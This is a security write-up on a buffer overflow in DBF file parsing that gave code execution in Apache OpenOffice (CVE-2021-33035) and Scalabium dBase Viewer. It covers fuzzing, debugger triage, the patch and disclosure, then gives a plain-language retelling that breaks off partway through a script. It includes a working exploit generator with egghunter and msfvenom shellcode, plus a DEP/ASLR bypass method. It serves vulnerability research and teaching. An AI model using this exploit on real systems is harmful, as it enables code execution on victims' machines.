All Your (d)Base Are Belong To Us, Part 1: Code Execution in Apache OpenOffice (CVE-2021-33035)
A buffer overflow in Apache OpenOffice's DBF file parsing allowed an attacker to execute arbitrary code by crafting a malicious DBF file with an overly large field length. The vulnerability was exploited to achieve code execution on Windows.
spaceraccoon.dev
Published on spaceraccoon.dev
Venturing out into the wilderness of vulnerability research can be a daunting task. Coming from a background in primarily web and application security, I had to shift my hacking mindset towards memory corruption vulnerabilities and local attack vectors.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of a vulnerability research project that started from a file format rather than a product: the dBase database file (.dbf). The format was created almost 40 years ago as a data storage mechanism for applications ranging from spreadsheet processors to integrated development environments. It kept gaining use cases with each revision but eventually lost out to more advanced competitors. Because it is a legacy format across multiple platforms, DBF files still appear in places such as the shapefile geographic information system format, and many spreadsheet and office applications still support them, including Microsoft Office, LibreOffice and Apache OpenOffice.
The target of the final part of the research is Apache OpenOffice, specifically its DBF parsing code. The research aimed to find vulnerabilities in DBF parsing, and the OpenOffice case led to code execution.
The author came from a background in web and application security and had to shift towards memory corruption and local attack vectors. The article is part one of a two-part series; part two covers vulnerabilities found with coverage-guided fuzzing, including CVE-2021-38646 in the Microsoft Office Access Connectivity Engine.
Setup
The tools and preconditions used across the research:
- Target format: dBase database files (
.dbf). Documentation came from Wikipedia's description of version 5 of the format, dBase LLC's updated specification, and the Library of Congress file format catalogue. - Dumb fuzzer: GitLab's open-source Peach Fuzzer. Peach records and analyses crashes, but only instruments execution (via Intel PIN) in its corpus minimisation tool; during fuzzing it mutates test cases based on a template, a "Pit".
- Target applications for the first stage: small Windows applications whose sole job is to open and display DBF files, chosen from the list on FileInfo.com. Windows was chosen because of the relative abundance of Windows DBF processors.
- Triage: Peach runs WinDBG's
!exploitablescript on crashes.narly's!nmodcommand was used to check module protections. - Editing and minimisation: 010 Editor with a DBF template that highlights which bytes correspond to the format specification.
- Corpus collection: a simple Python script scraping samples with the
filetype:dbfGoogle dork. - Exploit development: 0vercl0k's rp tool to dump ROP gadgets, and msfvenom to generate a
windows/exec CMD=calcpayload.
The reasoning behind picking the format: focusing on a file format rather than a piece of software gives a common entrypoint across many applications, the format is documented by RFCs or open-source code (less reverse engineering), and file format fuzzing is simpler to set up than protocol fuzzing. The author deliberately avoided formats that are ZIP files in disguise (such as DOCX) to keep templates simple and root cause analysis manageable, and preferred a less-researched format.
Finding it
The DBF format and the Peach Pit
The DBF format has two main sections: the header and the body. The header contains a prefix describing the dBase version, the last update timestamp and other metadata, and, more importantly, the length of each record, the length of the header structure, the number of records and the data fields in a record. Fields can be integers, strings, floating numbers and other supported types, and each field carries a FieldLength descriptor. The body contains the records as described by the header.
Crafting the Peach Pit was the most difficult and time-consuming stage of dumb fuzzing. To tie the number of records declared in the header to the number of records actually present in the body, the author used a Relation block, declaring the header field as:
<Number name="NumberOfRecords" size="32" signed="false">
<Relation type="count" of="Records" />
</Number>
Later in the template, a <Block name="Records" minOccurs="0"> block was added to the body. Peach detects the relation and keeps the number of Records blocks in each mutated candidate consistent with the NumberOfRecords bytes in the header, unless the mutation is intended.
A deliberate decision was to keep the template loose. Peach supports types such as String and Number, so the record data could have been constrained to match the FieldType descriptions in the header, but that might have prevented the fuzzer from finding interesting crashes, for example a String supplied for an Integer field. The record data was therefore left as a generic <Blob name="RecordData" /> block.
Corpus and fuzzing
Samples were scraped with the filetype:dbf Google dork, triaged, and minimised with Peach's own tool:
.\PeachMinset.exe -s samples -m minset -t traces "<PATH TO FUZZING TARGET>" %s
This cut the corpus from more than 200 samples to about 20. Fuzzing itself was then a single command:
Z:\peach\Peach.exe .\dbf_pit.xml
Some applications held up well; for others crashes piled up quickly.

Peach triages crashes with WinDBG's !exploitable script. One test case produced a structured exception handler (SEH) overwrite in Scalabium dBase Viewer. Since SEH overwrites are among the easiest to exploit on Windows when no protections are in the way, Peach categorised it as EXPLOITABLE and listed which fields it had mutated for that test case.

Minimising to the root cause
To pinpoint the bytes responsible, the test case was opened in 010 Editor with a DBF template and excess bytes were manually removed until a "minimal viable crash" file reproduced the same crash.

The original crash was 18538 bytes; the minimal viable crash was 102 bytes. Removing bytes in blocks while keeping the crash reproducible isolated the root cause: the field with fieldType of 2.
The DBF documentation defines the fieldType byte as the data type of the field, such as C for character, D for date, l for long, and so on. 2 was not mentioned there. The FlagShip extension documentation for the dBase format does define it:
| fieldType | Size | Type | Description/Storage | Applies for (supported by) |
|---|---|---|---|---|
| 2 | 2 | short int | binary int max +/- 32767 | FS (.dbf type = 0x23,0x33,0xB3) |
| 4 | 4 | long int | binary int max +/- 2147483647 | FS (.dbf type = 0x23,0x33,0xB3) |
| 8 | 8 | double | binary signed double IEEE | FS (.dbf type = 0x23,0x33,0xB3) |
This suggested the overflow came from an overly large buffer being copied into the short int buffer of size 2. WinDBG confirmed it:
(173c.21c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
eax=001979d0 ebx=41414141 ecx=00000000 edx=41414141 esi=00000000 edi=02214628
eip=0046619c esp=00197974 ebp=0019faa4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
dbfview+0x6619c:
0046619c 8b4358 mov eax,dword ptr [ebx+58h] ds:002b:41414199=????????
0:000> !exchain
0019798c: dbfview+6650f (0046650f)
0019faac: 42424242
Invalid exception stack at 41414141
0:000> dd 0019faac-0x20
0019fa8c 00000000 41414141 41414141 41414141
0019fa9c 41414141 41414141 41414141 41414141
0019faac 41414141 42424242 0019fb40 0019fb48
0019fabc 004676e7 0019fb40 004c1c10 00000002
0019facc 02214628 00000000 02214744 00000000
0019fadc 00000000 0019fb48 004082ef 02214744
0019faec 80000000 00000003 00000000 00000003
0019fafc 00000080 00000000 4c505845 0054494f
The controlled buffer of size 36 (as specified in fieldLength in the 010 Editor template) had been copied byte for byte into the short int buffer, producing the SEH overwrite. The application blindly trusted the attacker-controlled fieldLength when copying bytes into a buffer whose size was determined by the attacker-controlled fieldType. The result was a straightforward buffer overflow with no special character requirements.
A final protection check with narly showed no memory protections:
0:000> !nmod
00400000 0051e000 dbfview /SafeSEH OFF C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
Exploitation
Step 1: Generate the proof-of-concept DBF
With no protections on dbfview, a short script generated the payload: an SEH-based egghunter, a crafted DBF header and field definition, a record that overwrites the SEH chain and pivots into the egghunter, and a msfvenom windows/exec CMD=calc payload tagged with the egg w00tw00t.
from struct import pack
# SEH-based egghunter with egg w00tw00t
egghunter = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
# dbase header
payload = b'\x03' # dbase version number
payload += b'\x01\x01\x01' # last update date
payload += pack('<i', 1) # number of records
payload += pack('<h', 65) # number of records
payload += pack('<h', 4095) # length of each record
payload += 20 * b'\x00' # reserved bytes
# field definition
payload += pack('11s', b'EXPLOIT') # field name
payload += b'2' # field type (short integer)
payload += 4 * b'\x00' # field data address (can be null)
payload += pack('B', 255) # field size (change accordingly)
payload += 15 * b'\x00' # reserved bytes
payload += b'\x0D' # terminator character
# record definition
payload += b'\x20' # deleted flag
payload += 28 * b'\x90' # offset
# payload += 4 * b'\x41' # offset
payload += pack("<L", (0x909006eb)) # JMP 06
payload += pack("<L", (0x00457886)) # dbfview: pop edi; pop esi; ret
payload += egghunter
payload += b'w00tw00t' # egg
# msfvenom -p windows/exec CMD=calc -f python -v payload
payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
payload += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
payload += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
payload += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
payload += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"
with open('payload.dbf', 'wb') as w:
w.write(payload)
The header declares the dBase version, the update date, record count values and a record length of 4095. The field definition names the field EXPLOIT, sets its type to 2 (short integer) and its size to 255, which is the attacker-controlled fieldLength that overflows the 2-byte short int buffer. The record body contains the deleted flag, padding, a JMP 06, a pop edi; pop esi; ret gadget from dbfview at 0x00457886, the egghunter, the egg and the shellcode. Opening the generated file in dbfview.exe popped Calc.
Step 2: Move to Apache OpenOffice source review
The dumb fuzzing stage established the inherent weakness of the format: the buffer size of a record can be determined either by fieldLength or by fieldType in the header, and if a programmer blindly trusts one when allocating a buffer but uses the other to size the copy into it, a buffer overflow follows. Since open-source projects such as Apache OpenOffice support DBF, the author reviewed OpenOffice's DBF parsing code and found this in DTable.cxx:
else if ( DataType::INTEGER == nType )
{
sal_Int32 nValue = 0;
memcpy(&nValue, pData, nLen);
*(_rRow->get())[i] = nValue;
}
A buffer nValue of size sal_Int32 (4 bytes) is created for a field of type INTEGER, and memcpy copies nLen bytes, an attacker-controlled value, into it without checking that nLen is at most 4. The pattern was repeated across various data types.
Step 3: First crash in OpenOffice Calc
The previous payload generator was modified to use the integer field type (I) and a fieldLength larger than sal_Int32, and the file was opened in OpenOffice Calc. It crashed. The initial crash was an SEH overwrite, but the SEH chain refused to execute: the soffice binary had Safe Exception Handlers (SAFESEH), address space layout randomisation (ASLR) and Data Execution Prevention (DEP) enabled, which prevented simple exploitation.
Step 4: Trace the validation check
Tracing back from the initial exception showed it was triggered by a validation check earlier in the execution flow:
0:000> p
eax=08ceacec ebx=0ffe68e8 ecx=08ceacf0 edx=00000001 esi=0ff38d60 edi=084299b9
eip=08c56920 esp=0178dd58 ebp=0178de74 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
dbase+0x16920:
08c56920 e862c6feff call dbase+0x2f87 (08c42f87)
0:000> u dbase+0x2f87 L12
dbase+0x2f87:
08c42f87 55 push ebp
08c42f88 8bec mov ebp,esp
08c42f8a 56 push esi
08c42f8b 8bf1 mov esi,ecx
08c42f8d 8b4610 mov eax,dword ptr [esi+10h]
08c42f90 2b460c sub eax,dword ptr [esi+0Ch]
08c42f93 57 push edi
08c42f94 8b7d08 mov edi,dword ptr [ebp+8]
08c42f97 c1f802 sar eax,2
08c42f9a 3bf8 cmp edi,eax
08c42f9c 7206 jb dbase+0x2fa4 (08c42fa4)
08c42f9e ff1588b0c608 call dword ptr [dbase!GetVersionInfo+0x9176 (08c6b088)]
08c42fa4 8b460c mov eax,dword ptr [esi+0Ch]
08c42fa7 8d04b8 lea eax,[eax+edi*4]
08c42faa 5f pop edi
08c42fab 5e pop esi
08c42fac 5d pop ebp
08c42fad c20400 ret 4
The exception was triggered if the cmp edi,eax check failed. Dynamic analysis identified the offset in the payload being evaluated, and setting it to 00000001 passed the check. A different exception then occurred, an invalid instruction exception, which indicated that a return pointer on the stack had been overwritten and execution flow could be controlled again. WinDBG confirmed this.
Step 5: Find a module without protections
A DEP and ASLR bypass was still needed to start a return-oriented programming chain. narly was run against the loaded modules:
0:011> !nmod
00110000 00b9c000 soffice /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\soffice.bin
03e20000 04b67000 icudt40 NO_SEH C:\Program Files\OpenOffice 4\program\icudt40.dll
4de60000 4df58000 libxml2 /SafeSEH ON /GS C:\Program Files\OpenOffice 4\program\libxml2.dll
50040000 50097000 scui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\scui.DLL
500a0000 502d3000 sb /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\sb.dll
50360000 50395000 forui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\forui.dll
503a0000 503e1000 uui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\uui.dll
50470000 504bf000 ucpfile1 /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\ucpfile1.dll
504c0000 5053a000 configmgr_uno /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\configmgr.uno.dll
Among the modules, libxml2 was compiled without DEP or ASLR protections, so it could serve as a source of ROP gadgets. All gadgets were dumped with 0vercl0k's rp tool.
Step 6: Fit the chain into the buffer
A problem appeared: regardless of the fieldLength value, the overwritten buffer appeared to be limited to about 256 bytes. That ruled out a traditional GetModuleHandleA > GetProcAddress > VirtualProtect chain. Three optimisations were applied:
- The final
VirtualProtectskeleton was moved before the ROP chain in the buffer, freeing room for gadgets. - The stack pivot used a hard-coded
add esp, 0x0C ; ret ;gadget, so the offset did not have to be created dynamically in the chain. - For the proof of concept,
WinExecwas loaded directly to popcalc, reducing the number of function calls needed.
With these changes the proof of concept worked, in software that was downloaded more than 300 million times.
Step 7: Why static analysis missed it
The author checked OpenOffice's page on https://lgtm.com/, a code analysis platform that runs CodeQL tests on open-source projects, expecting the unsafe memcpy to have been flagged.

OpenOffice was tagged as a Python and JavaScript project. CodeQL builds a database of the relevant source code before scanning, so if OpenOffice's C++ code was excluded while building that database, CodeQL would have missed these vulnerabilities entirely. Browsing the files on LGTM showed no C++ files included. The lesson is to sanity-check automated static analysis tools: if the tool does not know the code exists, it cannot find vulnerabilities in it.
Root cause
The defect is a mismatch between two attacker-controlled header values. The size of the destination buffer is derived from the field type (fieldType), while the number of bytes copied is derived from the field length (fieldLength). In the OpenOffice code, nValue is a sal_Int32 of 4 bytes, but memcpy copies nLen bytes with no check that nLen <= 4. The same pattern was repeated across various data types. In the smaller dBase viewer, the destination was a 2-byte short int and a 36-byte controlled buffer was copied into it, overwriting the SEH chain.
On the OpenOffice side, the binary's own defences (SAFESEH, ASLR, DEP on soffice.bin) blocked the simple SEH route, and exploitation depended on a loaded module, libxml2, that lacked DEP and ASLR. The buffer size limit of about 256 bytes also constrained the chain. Static analysis did not catch the bug because the project was indexed as Python and JavaScript, with no C++ files in the CodeQL database.
Impact
Opening a crafted .dbf file led to code execution in the applications tested. In the small dBase viewer the proof of concept popped calc; in Apache OpenOffice the proof of concept also achieved code execution. The OpenOffice vulnerability is CVE-2021-33035; the Scalabium dBase Viewer vulnerability is CVE-2021-35297. The author notes that OpenOffice was downloaded more than 300 million times. Exploitation of the OpenOffice case required a module without DEP and ASLR (libxml2) and a chain that fits in roughly 256 bytes.
Fix
Apache released new packages that patched the vulnerability and updated the source code on GitHub to perform buffer size checking. For the integer type, the code now ensures that nLen equals 4:
else if ( DataType::INTEGER == nType )
{
OSL_ENSURE(nLen == 4, "Invalid length for integer field");
if (nLen != 4) {
return false;
}
sal_Int32 nValue = 0;
memcpy(&nValue, pData, nLen);
*(_rRow->get())[i] = nValue;
}
Scalabium dBase Viewer was run by a single developer and could be resolved almost immediately.
Disclosure timeline
The author notes a culture shock compared with web bug bounties: native application development cycles, especially for widely used software, can run to months. Some vendors had no dedicated security disclosure contact or listed an inactive email.
Scalabium dBase Viewer (CVE-2021-35297):
- Jun 7: Initial disclosure
- Jun 9: Acknowledgement and patch
- Aug 17: CVE assigned
Apache OpenOffice (CVE-2021-33035):
- 4 May: Initial disclosure
- 5 May: Acknowledgement
- 6 May: Request for disclosure/patch timeline
- 12 May: 2nd request for disclosure/patch timeline
- 19 May: 3rd request for disclosure/patch timeline
- 21 May: Apache request for 30 Aug disclosure date and patch verification; CVE assigned
- 21 May: Verified patch and agreed to 30 Aug disclosure date
- 22 Jul: Request to re-confirm 30 Aug disclosure date
- 26 Jul: Apache re-confirmed 30 Aug disclosure date
- 28 Aug: Notify about 18 Sep full disclosure
- 18 Sep: Full disclosure
Variants to test
The general pattern to look for is a parser that takes the destination buffer size from one header field and the copy length from another. Concrete things to try on other targets:
- Other DBF field types. The OpenOffice pattern was repeated across data types, so try each type code (
C,D,l,I, and the FlagShip2,4,8) with afieldLengthlarger than the type's natural size. A positive result is a crash whose faulting instruction is inside the parser's copy routine, with the destination buffer smaller than the copied length. - Mismatched record and field lengths. Set the header's record length and the field's
fieldLengthto inconsistent values and watch for overflows in record assembly. A positive result is a crash that disappears when the two values are made consistent. - Field type values outside the documented set. The
2type came from the FlagShip extension and was undocumented in the main specification; try other extension type codes against parsers that claim support for the format. A positive result is a crash in a code path that the main documentation does not describe. - Other legacy formats with typed fields. Apply the same template approach to formats where a type byte determines allocation and a length field determines the copy. A positive result is a minimal file of a few dozen bytes that reproduces an exploitable crash.
- Check static analysis coverage. For open-source targets, confirm that the language of the vulnerable code is actually indexed by the analysis platform before trusting a clean result. A positive result is a project page that lists only unrelated languages, as happened with OpenOffice being tagged Python and JavaScript.
- Check module protections before assuming exploitability. Run
!nmodon a crash and look for loaded modules without ASLR or DEP, as withlibxml2here. A positive result is a gadget source at a predictable address that lets a short chain bypass the main binary's protections.
What happened, in plain words
A security researcher wanted to learn how to find bugs in desktop software, not just websites. Instead of picking one program, they picked a file format: the old dBase database file, which ends in .dbf. Many programs can open these files, so a single bug in how a program reads the format can affect lots of software at once.
They used a tool that automatically feeds many slightly broken .dbf files to small programs until one crashes. That found a bug in a tiny viewer called Scalabium dBase Viewer, and they turned the crash into a working exploit that opens the Windows calculator. Then they read the source code of Apache OpenOffice, a free office suite that also opens .dbf files, found the same kind of mistake, and built a proof of concept for it too. That bug is tracked as CVE-2021-33035.
The article is part one of two. Part two covers bugs found later with a more advanced fuzzing method, including CVE-2021-38646 in Microsoft Office.
Background: why pick a file format
The researcher came from web and application security and had to shift towards memory corruption and local attack vectors. Here the target is a local file: the victim opens a document, and the program that reads it can be made to misbehave. That shift means learning about memory corruption, which is what happens when a program writes data past the end of a reserved area of memory.
The advice they followed was to focus on a file format rather than a single piece of software. Three reasons:
- A format is a shared entry point. Many programs read the same format, so one template can be pointed at many targets.
- Formats are documented. Specifications, RFCs (public documents that describe internet and data formats) and open-source code reduce the amount of reverse engineering needed.
- File format fuzzing is simpler to set up than protocol fuzzing, which involves talking to a live service over a network.
They avoided formats that are really ZIP archives in disguise, such as DOCX. A DOCX is a bundle of compressed files, so a fuzzer has to deal with nested containers, which adds complexity to root cause analysis. They also preferred a format that other researchers had paid less attention to.
The dBase file format
The dBase database format is almost 40 years old. It was used to store data for spreadsheets, development tools and other programs. Each new revision added features, but the format had limits on storage and media, and more advanced competitors took over. Because it is a legacy format that appears on many platforms, .dbf files still show up in unexpected places, for example inside shapefiles, a geographic information system format that stores map data. Microsoft Office, LibreOffice and Apache OpenOffice all still support it.
Documentation was easy to find: Wikipedia describes version 5 of the format, dBase LLC publishes an updated specification, and the Library of Congress keeps a catalogue of file formats that includes DBF. The many versions and extensions of the format give programmers plenty of chances to make parsing mistakes.
A DBF file has two main sections:
- The header. A prefix that says which dBase version the file uses, when it was last updated, and other metadata. More importantly it states the length of each record, the length of the header itself, how many records there are, and which fields each record contains. Each field has a type (integer, string, floating point number and so on) and a
FieldLengthvalue that says how many bytes the field occupies. - The body. The records themselves, laid out as the header describes.
Step 1: Dumb fuzzing with Peach Fuzzer
Before trying anything advanced, the researcher validated their understanding of the format with a "dumb" fuzzer. A fuzzer is a program that generates many malformed inputs and watches the target for crashes. "Dumb" means it does not watch how the target executes internally; it just mutates files according to a template and runs the whole application each time.
The tool was GitLab's open-source Peach Fuzzer. Peach claims to be "smart" because it records and analyses crashes, but it only instruments execution (using Intel PIN, a tool that watches a program's instructions) in its corpus minimisation tool. During actual fuzzing it mutates test cases based on a template called a "Pit".
Targets were small Windows applications whose only job is to open and display DBF files, chosen from a list on FileInfo.com. Windows was picked because there are many Windows programs that read DBF. Small programs were picked for three reasons:
- A dumb fuzzer runs the whole application each time, so small programs are much faster to fuzz.
- Less well-maintained programs are more likely to be vulnerable.
- Any crash can be attributed to the file parsing logic itself, rather than to unrelated features.
Building the Peach Pit
Writing the template was the hardest and slowest part of dumb fuzzing. The key problem is keeping the file internally consistent: if the header says there are five records, the body should contain five records.
To tie the two together, the researcher used a Relation block. The header field was declared like this:
<Number name="NumberOfRecords" size="32" signed="false">
<Relation type="count" of="Records" />
</Number>
Line by line:
<Number name="NumberOfRecords" size="32" signed="false">declares a numeric field calledNumberOfRecordsthat is 32 bits wide and unsigned (it cannot be negative). This is the header value that says how many records the file contains.<Relation type="count" of="Records" />tells Peach that this number is a count of another block calledRecords.</Number>closes the field definition.
Later in the template, a block was added to the body:
<Block name="Records" minOccurs="0">
minOccurs="0" means the block may appear zero or more times. Peach detects the relation and, in each mutated file, keeps the number of Records blocks equal to the NumberOfRecords value in the header, unless the mutation deliberately changes it.
A second decision was to keep the template loose. Peach supports types such as String and Number, so the record data could have been forced to match the field types declared in the header. But that might have stopped the fuzzer from finding interesting crashes, for example a string supplied where an integer was expected. So the record data was left as a generic blob:
<Blob name="RecordData" />
<Blob> means "an arbitrary run of bytes". This gives the fuzzer freedom to put anything there.
Collecting and shrinking the sample set
A corpus is the collection of valid sample files the fuzzer starts from. Samples were gathered with a Google search using the filetype:dbf operator, which asks Google for files with that extension. A simple Python script scraped the results, the samples were checked by hand, and then Peach's own tool shrank the set:
.\PeachMinset.exe -s samples -m minset -t traces "<PATH TO FUZZING TARGET>" %s
Line by line:
.\PeachMinset.exeruns Peach's corpus minimisation tool from the current directory.-s samplessays the input samples are in a folder calledsamples.-m minsetselects the minimisation mode.-t tracestells it to use execution traces to decide which samples are redundant."<PATH TO FUZZING TARGET>"is the program being tested.%sis a placeholder that Peach replaces with each sample file name.
This cut the corpus from more than 200 samples to about 20.
Running the fuzzer
Fuzzing itself was one command:
Z:\peach\Peach.exe .\dbf_pit.xml
Line by line:
Z:\peach\Peach.exeis the Peach executable on drive Z..\dbf_pit.xmlis the template file in the current directory.
Some applications held up well. For others, crashes piled up quickly.

Peach triages crashes by running WinDBG's !exploitable script. WinDBG is Microsoft's debugger, a tool that lets you inspect a program while it runs and examine its memory when it stops. !exploitable looks at a crash and estimates whether an attacker could turn it into code execution. One test case produced a structured exception handler (SEH) overwrite in Scalabium dBase Viewer.
An exception handler is a piece of code a program registers to deal with errors. On Windows, the list of handlers is kept on the stack, the area of memory where the program stores temporary values and return addresses. If an attacker can overwrite an entry in that list, they can make the program jump to their own code when the next error occurs. That is an SEH overwrite. Because these are among the easiest crashes to exploit on Windows when no protections are in the way, Peach labelled it EXPLOITABLE and listed which fields it had mutated for that test case.

Shrinking the crash to its cause
A crash file can be huge, and most of its bytes may be irrelevant. To find the bytes that actually matter, the test case was opened in 010 Editor, a hex editor that shows a file as raw bytes, with a DBF template that highlights which bytes correspond to which part of the format. Excess bytes were removed by hand, block by block, until a small file still reproduced the same crash. The result is called a "minimal viable crash".

The original crash file was 18538 bytes. The minimal viable crash was 102 bytes. Removing bytes in blocks while checking that the crash still happened isolated the root cause: the field whose fieldType was 2.
What field type 2 means
The DBF documentation says the fieldType byte defines the data type of a field: C for character, D for date, l for long, and so on. The value 2 was not in that documentation. Further research turned up the documentation for the FlagShip extension to the dBase format, which does define it:
| fieldType | Size | Type | Description/Storage | Applies for (supported by) |
|---|---|---|---|---|
| 2 | 2 | short int | binary int max +/- 32767 | FS (.dbf type = 0x23,0x33,0xB3) |
| 4 | 4 | long int | binary int max +/- 2147483647 | FS (.dbf type = 0x23,0x33,0xB3) |
| 8 | 8 | double | binary signed double IEEE | FS (.dbf type = 0x23,0x33,0xB3) |
So type 2 is a short integer, a whole number stored in 2 bytes. This suggested the overflow came from a larger buffer being copied into a 2-byte destination. WinDBG confirmed it:
(173c.21c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
eax=001979d0 ebx=41414141 ecx=00000000 edx=41414141 esi=00000000 edi=02214628
eip=0046619c esp=00197974 ebp=0019faa4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
dbfview+0x6619c:
0046619c 8b4358 mov eax,dword ptr [ebx+58h] ds:002b:41414199=????????
0:000> !exchain
0019798c: dbfview+6650f (0046650f)
0019faac: 42424242
Invalid exception stack at 41414141
0:000> dd 0019faac-0x20
0019fa8c 00000000 41414141 41414141 41414141
0019fa9c 41414141 41414141 41414141 41414141
0019faac 41414141 42424242 0019fb40 0019fb48
0019fabc 004676e7 0019fb40 004c1c10 00000002
0019facc 02214628 00000000 02214744 00000000
0019fadc 00000000 0019fb48 004082ef 02214744
0019faec 80000000 00000003 00000000 00000003
0019fafc 00000080 00000000 4c505845 0054494f
Line by line:
(173c.21c): Access violation - code c0000005 (first chance)says the program tried to read or write memory it is not allowed to touch. The numbers in brackets identify the process and thread.First chance exceptions are reported before any exception handling.means the debugger sees the error before the program's own error handling does.*** WARNING: Unable to verify checksum for ...is a note that the debugger could not check the program's signature.- The
eax,ebx,ecx,edx,esi,edi,eip,esp,ebpvalues are the contents of the processor's registers, its small built-in storage slots.eipis the address of the instruction that was running. Several registers hold41414141, which is the letterArepeated four times. That is a strong sign the attacker's input reached those registers. dbfview+0x6619c:shows the faulting instruction is at offset0x6619cinside the program.0046619c 8b4358 mov eax,dword ptr [ebx+58h] ds:002b:41414199=????????is the instruction: it tries to read from the address stored inebxplus0x58. Sinceebxis41414141, the address is41414199, which is not valid memory.0:000> !exchainasks WinDBG to print the exception handler chain, the list of error handlers.0019798c: dbfview+6650f (0046650f)is the first handler, inside the program.0019faac: 42424242is the next entry, which has been overwritten withBBBB.Invalid exception stack at 41414141says the chain is broken because the next value isAAAA.0:000> dd 0019faac-0x20dumps memory starting a little before that address.- The rows of numbers are the memory contents. The repeated
41414141values show the attacker'sAbytes sitting on the stack, and42424242shows theBbytes.
The controlled buffer of size 36, as specified in fieldLength in the 010 Editor template, had been copied byte for byte into the 2-byte short integer buffer, which overwrote the SEH chain. The program trusted the attacker-controlled fieldLength when copying, but sized the destination from the attacker-controlled fieldType. That is a straightforward buffer overflow, and it needs no special characters: any byte value works.
A final check with narly, a WinDBG extension that lists loaded modules and their protections, showed no memory protections:
0:000> !nmod
00400000 0051e000 dbfview /SafeSEH OFF C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
Line by line:
0:000> !nmodruns narly's module listing command.00400000 0051e000are the start and end addresses of the module in memory.dbfviewis the module name./SafeSEH OFFmeans the program does not use SafeSEH, a Windows feature that checks exception handlers against a list of legitimate ones before running them. With it off, an overwritten handler will be called.- The path at the end is where the executable lives on disk.
Step 2: Building the exploit for dbfview
With no protections in place, a short Python script generated the malicious file. It contains an SEH-based egghunter, a crafted DBF header and field definition, a record that overwrites the SEH chain and jumps into the egghunter, and a payload generated by msfvenom that runs calc.
An egghunter is a small piece of code that searches memory for a marker (the "egg") and jumps to the real payload when it finds it. This helps when the space available for the first jump is too small to hold the whole payload. msfvenom is a tool that generates ready-made payloads, here one that runs the Windows calculator.
from struct import pack
# SEH-based egghunter with egg w00tw00t
egghunter = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
# dbase header
payload = b'\x03' # dbase version number
payload += b'\x01\x01\x01' # last update date
payload += pack('<i', 1) # number of records
payload += pack('<h', 65) # number of records
payload += pack('<h', 4095) # length of each record
payload += 20 * b'\x00' # reserved bytes
# field definition
payload += pack('11s', b'EXPLOIT') # field name
payload += b'2' # field type (short integer)
payload += 4 * b'\x00' # field data address (can be null)
payload += pack('B', 255) # field size (change accordingly)
payload += 15 * b'\x00' # reserved bytes
payload += b'\x0D' # terminator character
# record definition
payload += b'\x20' # deleted flag
payload += 28 * b'\x90' # offset
# payload += 4 * b'\x41' # offset
payload += pack("<L", (0x909006eb)) # JMP 06
payload += pack("<L", (0x00457886)) # dbfview: pop edi; pop esi; ret
payload += egghunter
payload += b'w00tw00t' # egg
# msfvenom -p windows/exec CMD=calc -f python -v payload
